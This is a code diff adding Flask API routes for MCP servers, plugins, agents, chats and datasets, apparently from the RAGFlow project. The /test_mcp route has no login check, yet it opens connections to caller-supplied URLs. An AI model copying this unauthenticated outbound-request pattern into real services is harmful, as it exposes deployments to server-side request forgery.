base_name + counter = 0 + + while True: + e, _ = MCPServerService.get_by_name_and_tenant(name=new_name, tenant_id=current_user.id) + if not e: + break + new_name = f"{base_name}_{counter}" + counter += 1 + + create_data = { + "id": get_uuid(), + "tenant_id": current_user.id, + "name": new_name, + "url": config["url"], + "server_type": config["type"], + "variables": {"authorization_token": config.get("authorization_token", "")}, + } + + headers = {"authorization_token": config["authorization_token"]} if "authorization_token" in config else {} + variables = {k: v for k, v in config.items() if k not in {"type", "url", "headers"}} + mcp_server = MCPServer(id=new_name, name=new_name, url=config["url"], server_type=config["type"], variables=variables, headers=headers) + server_tools, err_message = get_mcp_tools([mcp_server], timeout) + if err_message: + results.append({"server": base_name, "success": False, "message": err_message}) + continue + + tools = server_tools[new_name] + tools = {tool["name"]: tool for tool in tools if isinstance(tool, dict) and "name" in tool} + create_data["variables"]["tools"] = tools + + if MCPServerService.insert(**create_data): + result = {"server": server_name, "success": True, "action": "created", "id": create_data["id"], "new_name": new_name} + if new_name != base_name: + result["message"] = f"Renamed from '{base_name}' to '{new_name}' avoid duplication" + results.append(result) + else: + results.append({"server": server_name, "success": False, "message": "Failed to create MCP server."}) + + return get_json_result(data={"results": results}) + except Exception as e: + return server_error_response(e) + + +@manager.route("/export", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("mcp_ids") +def export_multiple() -> Response: + req = request.get_json() + mcp_ids = req.get("mcp_ids", []) + + if not mcp_ids: + return get_data_error_result(message="No MCP server IDs provided.") + + try: + exported_servers = {} + + for mcp_id in mcp_ids: + e, mcp_server = MCPServerService.get_by_id(mcp_id) + + if e and mcp_server.tenant_id == current_user.id: + server_key = mcp_server.name + + exported_servers[server_key] = { + "type": mcp_server.server_type, + "url": mcp_server.url, + "name": mcp_server.name, + "authorization_token": mcp_server.variables.get("authorization_token", ""), + "tools": mcp_server.variables.get("tools", {}), + } + + return get_json_result(data={"mcpServers": exported_servers}) + except Exception as e: + return server_error_response(e) + + +@manager.route("/list_tools", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("mcp_ids") +def list_tools() -> Response: + req = request.get_json() + mcp_ids = req.get("mcp_ids", []) + if not mcp_ids: + return get_data_error_result(message="No MCP server IDs provided.") + + timeout = get_float(req, "timeout", 10) + + results = {} + tool_call_sessions = [] + try: + for mcp_id in mcp_ids: + e, mcp_server = MCPServerService.get_by_id(mcp_id) + + if e and mcp_server.tenant_id == current_user.id: + server_key = mcp_server.id + + cached_tools = mcp_server.variables.get("tools", {}) + + tool_call_session = MCPToolCallSession(mcp_server, mcp_server.variables) + tool_call_sessions.append(tool_call_session) + + try: + tools = tool_call_session.get_tools(timeout) + except Exception as e: + tools = [] + return get_data_error_result(message=f"MCP list tools error: {e}") + + results[server_key] = [] + for tool in tools: + tool_dict = tool.model_dump() + cached_tool = cached_tools.get(tool_dict["name"], {}) + + tool_dict["enabled"] = cached_tool.get("enabled", True) + results[server_key].append(tool_dict) + + return get_json_result(data=results) + except Exception as e: + return server_error_response(e) + finally: + # PERF: blocking call to close sessions — consider moving to background thread or task queue + close_multiple_mcp_toolcall_sessions(tool_call_sessions) + + +@manager.route("/test_tool", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("mcp_id", "tool_name", "arguments") +def test_tool() -> Response: + req = request.get_json() + mcp_id = req.get("mcp_id", "") + if not mcp_id: + return get_data_error_result(message="No MCP server ID provided.") + + timeout = get_float(req, "timeout", 10) + + tool_name = req.get("tool_name", "") + arguments = req.get("arguments", {}) + if not all([tool_name, arguments]): + return get_data_error_result(message="Require provide tool name and arguments.") + + tool_call_sessions = [] + try: + e, mcp_server = MCPServerService.get_by_id(mcp_id) + if not e or mcp_server.tenant_id != current_user.id: + return get_data_error_result(message=f"Cannot find MCP server {mcp_id} for user {current_user.id}") + + tool_call_session = MCPToolCallSession(mcp_server, mcp_server.variables) + tool_call_sessions.append(tool_call_session) + result = tool_call_session.tool_call(tool_name, arguments, timeout) + + # PERF: blocking call to close sessions — consider moving to background thread or task queue + close_multiple_mcp_toolcall_sessions(tool_call_sessions) + return get_json_result(data=result) + except Exception as e: + return server_error_response(e) + + +@manager.route("/cache_tools", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("mcp_id", "tools") +def cache_tool() -> Response: + req = request.get_json() + mcp_id = req.get("mcp_id", "") + if not mcp_id: + return get_data_error_result(message="No MCP server ID provided.") + tools = req.get("tools", []) + + e, mcp_server = MCPServerService.get_by_id(mcp_id) + if not e or mcp_server.tenant_id != current_user.id: + return get_data_error_result(message=f"Cannot find MCP server {mcp_id} for user {current_user.id}") + + variables = mcp_server.variables + tools = {tool["name"]: tool for tool in tools if isinstance(tool, dict) and "name" in tool} + variables["tools"] = tools + + if not MCPServerService.filter_update([MCPServer.id == mcp_id, MCPServer.tenant_id == current_user.id], {"variables": variables}): + return get_data_error_result(message="Failed to updated MCP server.") + + return get_json_result(data=tools) + + +@manager.route("/test_mcp", methods=["POST"]) # noqa: F821 +@validate_request("url", "server_type") +def test_mcp() -> Response: + req = request.get_json() + + url = req.get("url", "") + if not url: + return get_data_error_result(message="Invalid MCP url.") + + server_type = req.get("server_type", "") + if server_type not in VALID_MCP_SERVER_TYPES: + return get_data_error_result(message="Unsupported MCP server type.") + + timeout = get_float(req, "timeout", 10) + headers = safe_json_parse(req.get("headers", {})) + variables = safe_json_parse(req.get("variables", {})) + + mcp_server = MCPServer(id=f"{server_type}: {url}", server_type=server_type, url=url, headers=headers, variables=variables) + + result = [] + try: + tool_call_session = MCPToolCallSession(mcp_server, mcp_server.variables) + + try: + tools = tool_call_session.get_tools(timeout) + except Exception as e: + tools = [] + return get_data_error_result(message=f"Test MCP error: {e}") + finally: + # PERF: blocking call to close sessions — consider moving to background thread or task queue + close_multiple_mcp_toolcall_sessions([tool_call_session]) + + for tool in tools: + tool_dict = tool.model_dump() + tool_dict["enabled"] = True + result.append(tool_dict) + + return get_json_result(data=result) + except Exception as e: + return server_error_response(e) diff --git a/api/apps/plugin_app.py b/api/apps/plugin_app.py new file mode 100644 index 0000000..dcd209d --- /dev/null +++ b/api/apps/plugin_app.py @@ -0,0 +1,12 @@ +from flask import Response +from flask_login import login_required +from api.utils.api_utils import get_json_result +from plugin import GlobalPluginManager + +@manager.route('/llm_tools', methods=['GET']) # noqa: F821 +@login_required +def llm_tools() -> Response: + tools = GlobalPluginManager.get_llm_tools() + tools_metadata = [t.get_metadata() for t in tools] + + return get_json_result(data=tools_metadata) diff --git a/api/apps/sdk/agent.py b/api/apps/sdk/agent.py new file mode 100644 index 0000000..704a3ff --- /dev/null +++ b/api/apps/sdk/agent.py @@ -0,0 +1,128 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import json +import time +from typing import Any, cast +from api.db.services.canvas_service import UserCanvasService +from api.db.services.user_canvas_version import UserCanvasVersionService +from api.settings import RetCode +from api.utils import get_uuid +from api.utils.api_utils import get_data_error_result, get_error_data_result, get_json_result, token_required +from api.utils.api_utils import get_result +from flask import request + +@manager.route('/agents', methods=['GET']) # noqa: F821 +@token_required +def list_agents(tenant_id): + id = request.args.get("id") + title = request.args.get("title") + if id or title: + canvas = UserCanvasService.query(id=id, title=title, user_id=tenant_id) + if not canvas: + return get_error_data_result("The agent doesn't exist.") + page_number = int(request.args.get("page", 1)) + items_per_page = int(request.args.get("page_size", 30)) + orderby = request.args.get("orderby", "update_time") + if request.args.get("desc") == "False" or request.args.get("desc") == "false": + desc = False + else: + desc = True + canvas = UserCanvasService.get_list(tenant_id,page_number,items_per_page,orderby,desc,id,title) + return get_result(data=canvas) + + +@manager.route("/agents", methods=["POST"]) # noqa: F821 +@token_required +def create_agent(tenant_id: str): + req: dict[str, Any] = cast(dict[str, Any], request.json) + req["user_id"] = tenant_id + + if req.get("dsl") is not None: + if not isinstance(req["dsl"], str): + req["dsl"] = json.dumps(req["dsl"], ensure_ascii=False) + + req["dsl"] = json.loads(req["dsl"]) + else: + return get_json_result(data=False, message="No DSL data in request.", code=RetCode.ARGUMENT_ERROR) + + if req.get("title") is not None: + req["title"] = req["title"].strip() + else: + return get_json_result(data=False, message="No title in request.", code=RetCode.ARGUMENT_ERROR) + + if UserCanvasService.query(user_id=tenant_id, title=req["title"]): + return get_data_error_result(message=f"Agent with title {req['title']} already exists.") + + agent_id = get_uuid() + req["id"] = agent_id + + if not UserCanvasService.save(**req): + return get_data_error_result(message="Fail to create agent.") + + UserCanvasVersionService.insert( + user_canvas_id=agent_id, + title="{0}_{1}".format(req["title"], time.strftime("%Y_%m_%d_%H_%M_%S")), + dsl=req["dsl"] + ) + + return get_json_result(data=True) + + +@manager.route("/agents/", methods=["PUT"]) # noqa: F821 +@token_required +def update_agent(tenant_id: str, agent_id: str): + req: dict[str, Any] = {k: v for k, v in cast(dict[str, Any], request.json).items() if v is not None} + req["user_id"] = tenant_id + + if req.get("dsl") is not None: + if not isinstance(req["dsl"], str): + req["dsl"] = json.dumps(req["dsl"], ensure_ascii=False) + + req["dsl"] = json.loads(req["dsl"]) + + if req.get("title") is not None: + req["title"] = req["title"].strip() + + if not UserCanvasService.query(user_id=tenant_id, id=agent_id): + return get_json_result( + data=False, message="Only owner of canvas authorized for this operation.", + code=RetCode.OPERATING_ERROR) + + UserCanvasService.update_by_id(agent_id, req) + + if req.get("dsl") is not None: + UserCanvasVersionService.insert( + user_canvas_id=agent_id, + title="{0}_{1}".format(req["title"], time.strftime("%Y_%m_%d_%H_%M_%S")), + dsl=req["dsl"] + ) + + UserCanvasVersionService.delete_all_versions(agent_id) + + return get_json_result(data=True) + + +@manager.route("/agents/", methods=["DELETE"]) # noqa: F821 +@token_required +def delete_agent(tenant_id: str, agent_id: str): + if not UserCanvasService.query(user_id=tenant_id, id=agent_id): + return get_json_result( + data=False, message="Only owner of canvas authorized for this operation.", + code=RetCode.OPERATING_ERROR) + + UserCanvasService.delete_by_id(agent_id) + return get_json_result(data=True) diff --git a/api/apps/sdk/chat.py b/api/apps/sdk/chat.py new file mode 100644 index 0000000..263375e --- /dev/null +++ b/api/apps/sdk/chat.py @@ -0,0 +1,325 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging + +from flask import request + +from api import settings +from api.db import StatusEnum +from api.db.services.dialog_service import DialogService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.tenant_llm_service import TenantLLMService +from api.db.services.user_service import TenantService +from api.utils import get_uuid +from api.utils.api_utils import check_duplicate_ids, get_error_data_result, get_result, token_required + + +@manager.route("/chats", methods=["POST"]) # noqa: F821 +@token_required +def create(tenant_id): + req = request.json + ids = [i for i in req.get("dataset_ids", []) if i] + for kb_id in ids: + kbs = KnowledgebaseService.accessible(kb_id=kb_id, user_id=tenant_id) + if not kbs: + return get_error_data_result(f"You don't own the dataset {kb_id}") + kbs = KnowledgebaseService.query(id=kb_id) + kb = kbs[0] + if kb.chunk_num == 0: + return get_error_data_result(f"The dataset {kb_id} doesn't own parsed file") + + kbs = KnowledgebaseService.get_by_ids(ids) if ids else [] + embd_ids = [TenantLLMService.split_model_name_and_factory(kb.embd_id)[0] for kb in kbs] # remove vendor suffix for comparison + embd_count = list(set(embd_ids)) + if len(embd_count) > 1: + return get_result(message='Datasets use different embedding models."', code=settings.RetCode.AUTHENTICATION_ERROR) + req["kb_ids"] = ids + # llm + llm = req.get("llm") + if llm: + if "model_name" in llm: + req["llm_id"] = llm.pop("model_name") + if req.get("llm_id") is not None: + llm_name, llm_factory = TenantLLMService.split_model_name_and_factory(req["llm_id"]) + if not TenantLLMService.query(tenant_id=tenant_id, llm_name=llm_name, llm_factory=llm_factory, model_type="chat"): + return get_error_data_result(f"`model_name` {req.get('llm_id')} doesn't exist") + req["llm_setting"] = req.pop("llm") + e, tenant = TenantService.get_by_id(tenant_id) + if not e: + return get_error_data_result(message="Tenant not found!") + # prompt + prompt = req.get("prompt") + key_mapping = {"parameters": "variables", "prologue": "opener", "quote": "show_quote", "system": "prompt", "rerank_id": "rerank_model", "vector_similarity_weight": "keywords_similarity_weight"} + key_list = ["similarity_threshold", "vector_similarity_weight", "top_n", "rerank_id", "top_k"] + if prompt: + for new_key, old_key in key_mapping.items(): + if old_key in prompt: + prompt[new_key] = prompt.pop(old_key) + for key in key_list: + if key in prompt: + req[key] = prompt.pop(key) + req["prompt_config"] = req.pop("prompt") + # init + req["id"] = get_uuid() + req["description"] = req.get("description", "A helpful Assistant") + req["icon"] = req.get("avatar", "") + req["top_n"] = req.get("top_n", 6) + req["top_k"] = req.get("top_k", 1024) + req["rerank_id"] = req.get("rerank_id", "") + if req.get("rerank_id"): + value_rerank_model = ["BAAI/bge-reranker-v2-m3", "maidalun1020/bce-reranker-base_v1"] + if req["rerank_id"] not in value_rerank_model and not TenantLLMService.query(tenant_id=tenant_id, llm_name=req.get("rerank_id"), model_type="rerank"): + return get_error_data_result(f"`rerank_model` {req.get('rerank_id')} doesn't exist") + if not req.get("llm_id"): + req["llm_id"] = tenant.llm_id + if not req.get("name"): + return get_error_data_result(message="`name` is required.") + if DialogService.query(name=req["name"], tenant_id=tenant_id, status=StatusEnum.VALID.value): + return get_error_data_result(message="Duplicated chat name in creating chat.") + # tenant_id + if req.get("tenant_id"): + return get_error_data_result(message="`tenant_id` must not be provided.") + req["tenant_id"] = tenant_id + # prompt more parameter + default_prompt = { + "system": """You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence "The answer you are looking for is not found in the knowledge base!" Answers need to consider chat history. + Here is the knowledge base: + {knowledge} + The above is the knowledge base.""", + "prologue": "Hi! I'm your assistant. What can I do for you?", + "parameters": [{"key": "knowledge", "optional": False}], + "empty_response": "Sorry! No relevant content was found in the knowledge base!", + "quote": True, + "tts": False, + "refine_multiturn": True, + } + key_list_2 = ["system", "prologue", "parameters", "empty_response", "quote", "tts", "refine_multiturn"] + if "prompt_config" not in req: + req["prompt_config"] = {} + for key in key_list_2: + temp = req["prompt_config"].get(key) + if (not temp and key == "system") or (key not in req["prompt_config"]): + req["prompt_config"][key] = default_prompt[key] + for p in req["prompt_config"]["parameters"]: + if p["optional"]: + continue + if req["prompt_config"]["system"].find("{%s}" % p["key"]) < 0: + return get_error_data_result(message="Parameter '{}' is not used".format(p["key"])) + # save + if not DialogService.save(**req): + return get_error_data_result(message="Fail to new a chat!") + # response + e, res = DialogService.get_by_id(req["id"]) + if not e: + return get_error_data_result(message="Fail to new a chat!") + res = res.to_json() + renamed_dict = {} + for key, value in res["prompt_config"].items(): + new_key = key_mapping.get(key, key) + renamed_dict[new_key] = value + res["prompt"] = renamed_dict + del res["prompt_config"] + new_dict = {"similarity_threshold": res["similarity_threshold"], "keywords_similarity_weight": 1 - res["vector_similarity_weight"], "top_n": res["top_n"], "rerank_model": res["rerank_id"]} + res["prompt"].update(new_dict) + for key in key_list: + del res[key] + res["llm"] = res.pop("llm_setting") + res["llm"]["model_name"] = res.pop("llm_id") + del res["kb_ids"] + res["dataset_ids"] = req.get("dataset_ids", []) + res["avatar"] = res.pop("icon") + return get_result(data=res) + + +@manager.route("/chats/", methods=["PUT"]) # noqa: F821 +@token_required +def update(tenant_id, chat_id): + if not DialogService.query(tenant_id=tenant_id, id=chat_id, status=StatusEnum.VALID.value): + return get_error_data_result(message="You do not own the chat") + req = request.json + ids = req.get("dataset_ids", []) + if "show_quotation" in req: + req["do_refer"] = req.pop("show_quotation") + if ids: + for kb_id in ids: + kbs = KnowledgebaseService.accessible(kb_id=kb_id, user_id=tenant_id) + if not kbs: + return get_error_data_result(f"You don't own the dataset {kb_id}") + kbs = KnowledgebaseService.query(id=kb_id) + kb = kbs[0] + if kb.chunk_num == 0: + return get_error_data_result(f"The dataset {kb_id} doesn't own parsed file") + + kbs = KnowledgebaseService.get_by_ids(ids) + embd_ids = [TenantLLMService.split_model_name_and_factory(kb.embd_id)[0] for kb in kbs] # remove vendor suffix for comparison + embd_count = list(set(embd_ids)) + if len(embd_count) > 1: + return get_result(message='Datasets use different embedding models."', code=settings.RetCode.AUTHENTICATION_ERROR) + req["kb_ids"] = ids + llm = req.get("llm") + if llm: + if "model_name" in llm: + req["llm_id"] = llm.pop("model_name") + if req.get("llm_id") is not None: + llm_name, llm_factory = TenantLLMService.split_model_name_and_factory(req["llm_id"]) + if not TenantLLMService.query(tenant_id=tenant_id, llm_name=llm_name, llm_factory=llm_factory, model_type="chat"): + return get_error_data_result(f"`model_name` {req.get('llm_id')} doesn't exist") + req["llm_setting"] = req.pop("llm") + e, tenant = TenantService.get_by_id(tenant_id) + if not e: + return get_error_data_result(message="Tenant not found!") + # prompt + prompt = req.get("prompt") + key_mapping = {"parameters": "variables", "prologue": "opener", "quote": "show_quote", "system": "prompt", "rerank_id": "rerank_model", "vector_similarity_weight": "keywords_similarity_weight"} + key_list = ["similarity_threshold", "vector_similarity_weight", "top_n", "rerank_id", "top_k"] + if prompt: + for new_key, old_key in key_mapping.items(): + if old_key in prompt: + prompt[new_key] = prompt.pop(old_key) + for key in key_list: + if key in prompt: + req[key] = prompt.pop(key) + req["prompt_config"] = req.pop("prompt") + e, res = DialogService.get_by_id(chat_id) + res = res.to_json() + if req.get("rerank_id"): + value_rerank_model = ["BAAI/bge-reranker-v2-m3", "maidalun1020/bce-reranker-base_v1"] + if req["rerank_id"] not in value_rerank_model and not TenantLLMService.query(tenant_id=tenant_id, llm_name=req.get("rerank_id"), model_type="rerank"): + return get_error_data_result(f"`rerank_model` {req.get('rerank_id')} doesn't exist") + if "name" in req: + if not req.get("name"): + return get_error_data_result(message="`name` cannot be empty.") + if req["name"].lower() != res["name"].lower() and len(DialogService.query(name=req["name"], tenant_id=tenant_id, status=StatusEnum.VALID.value)) > 0: + return get_error_data_result(message="Duplicated chat name in updating chat.") + if "prompt_config" in req: + res["prompt_config"].update(req["prompt_config"]) + for p in res["prompt_config"]["parameters"]: + if p["optional"]: + continue + if res["prompt_config"]["system"].find("{%s}" % p["key"]) < 0: + return get_error_data_result(message="Parameter '{}' is not used".format(p["key"])) + if "llm_setting" in req: + res["llm_setting"].update(req["llm_setting"]) + req["prompt_config"] = res["prompt_config"] + req["llm_setting"] = res["llm_setting"] + # avatar + if "avatar" in req: + req["icon"] = req.pop("avatar") + if "dataset_ids" in req: + req.pop("dataset_ids") + if not DialogService.update_by_id(chat_id, req): + return get_error_data_result(message="Chat not found!") + return get_result() + + +@manager.route("/chats", methods=["DELETE"]) # noqa: F821 +@token_required +def delete(tenant_id): + errors = [] + success_count = 0 + req = request.json + if not req: + ids = None + else: + ids = req.get("ids") + if not ids: + id_list = [] + dias = DialogService.query(tenant_id=tenant_id, status=StatusEnum.VALID.value) + for dia in dias: + id_list.append(dia.id) + else: + id_list = ids + + unique_id_list, duplicate_messages = check_duplicate_ids(id_list, "assistant") + + for id in unique_id_list: + if not DialogService.query(tenant_id=tenant_id, id=id, status=StatusEnum.VALID.value): + errors.append(f"Assistant({id}) not found.") + continue + temp_dict = {"status": StatusEnum.INVALID.value} + DialogService.update_by_id(id, temp_dict) + success_count += 1 + + if errors: + if success_count > 0: + return get_result(data={"success_count": success_count, "errors": errors}, message=f"Partially deleted {success_count} chats with {len(errors)} errors") + else: + return get_error_data_result(message="; ".join(errors)) + + if duplicate_messages: + if success_count > 0: + return get_result(message=f"Partially deleted {success_count} chats with {len(duplicate_messages)} errors", data={"success_count": success_count, "errors": duplicate_messages}) + else: + return get_error_data_result(message=";".join(duplicate_messages)) + + return get_result() + + +@manager.route("/chats", methods=["GET"]) # noqa: F821 +@token_required +def list_chat(tenant_id): + id = request.args.get("id") + name = request.args.get("name") + if id or name: + chat = DialogService.query(id=id, name=name, status=StatusEnum.VALID.value, tenant_id=tenant_id) + if not chat: + return get_error_data_result(message="The chat doesn't exist") + page_number = int(request.args.get("page", 1)) + items_per_page = int(request.args.get("page_size", 30)) + orderby = request.args.get("orderby", "create_time") + if request.args.get("desc") == "False" or request.args.get("desc") == "false": + desc = False + else: + desc = True + chats = DialogService.get_list(tenant_id, page_number, items_per_page, orderby, desc, id, name) + if not chats: + return get_result(data=[]) + list_assts = [] + key_mapping = { + "parameters": "variables", + "prologue": "opener", + "quote": "show_quote", + "system": "prompt", + "rerank_id": "rerank_model", + "vector_similarity_weight": "keywords_similarity_weight", + "do_refer": "show_quotation", + } + key_list = ["similarity_threshold", "vector_similarity_weight", "top_n", "rerank_id"] + for res in chats: + renamed_dict = {} + for key, value in res["prompt_config"].items(): + new_key = key_mapping.get(key, key) + renamed_dict[new_key] = value + res["prompt"] = renamed_dict + del res["prompt_config"] + new_dict = {"similarity_threshold": res["similarity_threshold"], "keywords_similarity_weight": 1 - res["vector_similarity_weight"], "top_n": res["top_n"], "rerank_model": res["rerank_id"]} + res["prompt"].update(new_dict) + for key in key_list: + del res[key] + res["llm"] = res.pop("llm_setting") + res["llm"]["model_name"] = res.pop("llm_id") + kb_list = [] + for kb_id in res["kb_ids"]: + kb = KnowledgebaseService.query(id=kb_id) + if not kb: + logging.warning(f"The kb {kb_id} does not exist.") + continue + kb_list.append(kb[0].to_json()) + del res["kb_ids"] + res["datasets"] = kb_list + res["avatar"] = res.pop("icon") + list_assts.append(res) + return get_result(data=list_assts) diff --git a/api/apps/sdk/dataset.py b/api/apps/sdk/dataset.py new file mode 100644 index 0000000..7b25f1d --- /dev/null +++ b/api/apps/sdk/dataset.py @@ -0,0 +1,527 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + + +import logging +import os +import json +from flask import request +from peewee import OperationalError +from api import settings +from api.db import FileSource, StatusEnum +from api.db.db_models import File +from api.db.services.document_service import DocumentService +from api.db.services.file2document_service import File2DocumentService +from api.db.services.file_service import FileService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.user_service import TenantService +from api.utils import get_uuid +from api.utils.api_utils import ( + deep_merge, + get_error_argument_result, + get_error_data_result, + get_error_operating_result, + get_error_permission_result, + get_parser_config, + get_result, + remap_dictionary_keys, + token_required, + verify_embedding_availability, +) +from api.utils.validation_utils import ( + CreateDatasetReq, + DeleteDatasetReq, + ListDatasetReq, + UpdateDatasetReq, + validate_and_parse_json_request, + validate_and_parse_request_args, +) +from rag.nlp import search +from rag.settings import PAGERANK_FLD + + +@manager.route("/datasets", methods=["POST"]) # noqa: F821 +@token_required +def create(tenant_id): + """ + Create a new dataset. + --- + tags: + - Datasets + security: + - ApiKeyAuth: [] + parameters: + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + - in: body + name: body + description: Dataset creation parameters. + required: true + schema: + type: object + required: + - name + properties: + name: + type: string + description: Name of the dataset. + avatar: + type: string + description: Base64 encoding of the avatar. + description: + type: string + description: Description of the dataset. + embedding_model: + type: string + description: Embedding model Name. + permission: + type: string + enum: ['me', 'team'] + description: Dataset permission. + chunk_method: + type: string + enum: ["naive", "book", "email", "laws", "manual", "one", "paper", + "picture", "presentation", "qa", "table", "tag" + ] + description: Chunking method. + parser_config: + type: object + description: Parser configuration. + responses: + 200: + description: Successful operation. + schema: + type: object + properties: + data: + type: object + """ + # Field name transformations during model dump: + # | Original | Dump Output | + # |----------------|-------------| + # | embedding_model| embd_id | + # | chunk_method | parser_id | + req, err = validate_and_parse_json_request(request, CreateDatasetReq) + if err is not None: + return get_error_argument_result(err) + + try: + if KnowledgebaseService.get_or_none(name=req["name"], tenant_id=tenant_id, status=StatusEnum.VALID.value): + return get_error_operating_result(message=f"Dataset name '{req['name']}' already exists") + + req["parser_config"] = get_parser_config(req["parser_id"], req["parser_config"]) + req["id"] = get_uuid() + req["tenant_id"] = tenant_id + req["created_by"] = tenant_id + + ok, t = TenantService.get_by_id(tenant_id) + if not ok: + return get_error_permission_result(message="Tenant not found") + + if not req.get("embd_id"): + req["embd_id"] = t.embd_id + else: + ok, err = verify_embedding_availability(req["embd_id"], tenant_id) + if not ok: + return err + + if not KnowledgebaseService.save(**req): + return get_error_data_result(message="Create dataset error.(Database error)") + + ok, k = KnowledgebaseService.get_by_id(req["id"]) + if not ok: + return get_error_data_result(message="Dataset created failed") + + response_data = remap_dictionary_keys(k.to_dict()) + return get_result(data=response_data) + except OperationalError as e: + logging.exception(e) + return get_error_data_result(message="Database operation failed") + + +@manager.route("/datasets", methods=["DELETE"]) # noqa: F821 +@token_required +def delete(tenant_id): + """ + Delete datasets. + --- + tags: + - Datasets + security: + - ApiKeyAuth: [] + parameters: + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + - in: body + name: body + description: Dataset deletion parameters. + required: true + schema: + type: object + required: + - ids + properties: + ids: + type: array or null + items: + type: string + description: | + Specifies the datasets to delete: + - If `null`, all datasets will be deleted. + - If an array of IDs, only the specified datasets will be deleted. + - If an empty array, no datasets will be deleted. + responses: + 200: + description: Successful operation. + schema: + type: object + """ + req, err = validate_and_parse_json_request(request, DeleteDatasetReq) + if err is not None: + return get_error_argument_result(err) + + try: + kb_id_instance_pairs = [] + if req["ids"] is None: + kbs = KnowledgebaseService.query(tenant_id=tenant_id) + for kb in kbs: + kb_id_instance_pairs.append((kb.id, kb)) + + else: + error_kb_ids = [] + for kb_id in req["ids"]: + kb = KnowledgebaseService.get_or_none(id=kb_id, tenant_id=tenant_id) + if kb is None: + error_kb_ids.append(kb_id) + continue + kb_id_instance_pairs.append((kb_id, kb)) + if len(error_kb_ids) > 0: + return get_error_permission_result(message=f"""User '{tenant_id}' lacks permission for datasets: '{", ".join(error_kb_ids)}'""") + + errors = [] + success_count = 0 + for kb_id, kb in kb_id_instance_pairs: + for doc in DocumentService.query(kb_id=kb_id): + if not DocumentService.remove_document(doc, tenant_id): + errors.append(f"Remove document '{doc.id}' error for dataset '{kb_id}'") + continue + f2d = File2DocumentService.get_by_document_id(doc.id) + FileService.filter_delete( + [ + File.source_type == FileSource.KNOWLEDGEBASE, + File.id == f2d[0].file_id, + ] + ) + File2DocumentService.delete_by_document_id(doc.id) + FileService.filter_delete([File.source_type == FileSource.KNOWLEDGEBASE, File.type == "folder", File.name == kb.name]) + if not KnowledgebaseService.delete_by_id(kb_id): + errors.append(f"Delete dataset error for {kb_id}") + continue + success_count += 1 + + if not errors: + return get_result() + + error_message = f"Successfully deleted {success_count} datasets, {len(errors)} failed. Details: {'; '.join(errors)[:128]}..." + if success_count == 0: + return get_error_data_result(message=error_message) + + return get_result(data={"success_count": success_count, "errors": errors[:5]}, message=error_message) + except OperationalError as e: + logging.exception(e) + return get_error_data_result(message="Database operation failed") + + +@manager.route("/datasets/", methods=["PUT"]) # noqa: F821 +@token_required +def update(tenant_id, dataset_id): + """ + Update a dataset. + --- + tags: + - Datasets + security: + - ApiKeyAuth: [] + parameters: + - in: path + name: dataset_id + type: string + required: true + description: ID of the dataset to update. + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + - in: body + name: body + description: Dataset update parameters. + required: true + schema: + type: object + properties: + name: + type: string + description: New name of the dataset. + avatar: + type: string + description: Updated base64 encoding of the avatar. + description: + type: string + description: Updated description of the dataset. + embedding_model: + type: string + description: Updated embedding model Name. + permission: + type: string + enum: ['me', 'team'] + description: Updated dataset permission. + chunk_method: + type: string + enum: ["naive", "book", "email", "laws", "manual", "one", "paper", + "picture", "presentation", "qa", "table", "tag" + ] + description: Updated chunking method. + pagerank: + type: integer + description: Updated page rank. + parser_config: + type: object + description: Updated parser configuration. + responses: + 200: + description: Successful operation. + schema: + type: object + """ + # Field name transformations during model dump: + # | Original | Dump Output | + # |----------------|-------------| + # | embedding_model| embd_id | + # | chunk_method | parser_id | + extras = {"dataset_id": dataset_id} + req, err = validate_and_parse_json_request(request, UpdateDatasetReq, extras=extras, exclude_unset=True) + if err is not None: + return get_error_argument_result(err) + + if not req: + return get_error_argument_result(message="No properties were modified") + + try: + kb = KnowledgebaseService.get_or_none(id=dataset_id, tenant_id=tenant_id) + if kb is None: + return get_error_permission_result(message=f"User '{tenant_id}' lacks permission for dataset '{dataset_id}'") + + if req.get("parser_config"): + req["parser_config"] = deep_merge(kb.parser_config, req["parser_config"]) + + if (chunk_method := req.get("parser_id")) and chunk_method != kb.parser_id: + if not req.get("parser_config"): + req["parser_config"] = get_parser_config(chunk_method, None) + elif "parser_config" in req and not req["parser_config"]: + del req["parser_config"] + + if "name" in req and req["name"].lower() != kb.name.lower(): + exists = KnowledgebaseService.get_or_none(name=req["name"], tenant_id=tenant_id, status=StatusEnum.VALID.value) + if exists: + return get_error_data_result(message=f"Dataset name '{req['name']}' already exists") + + if "embd_id" in req: + if not req["embd_id"]: + req["embd_id"] = kb.embd_id + if 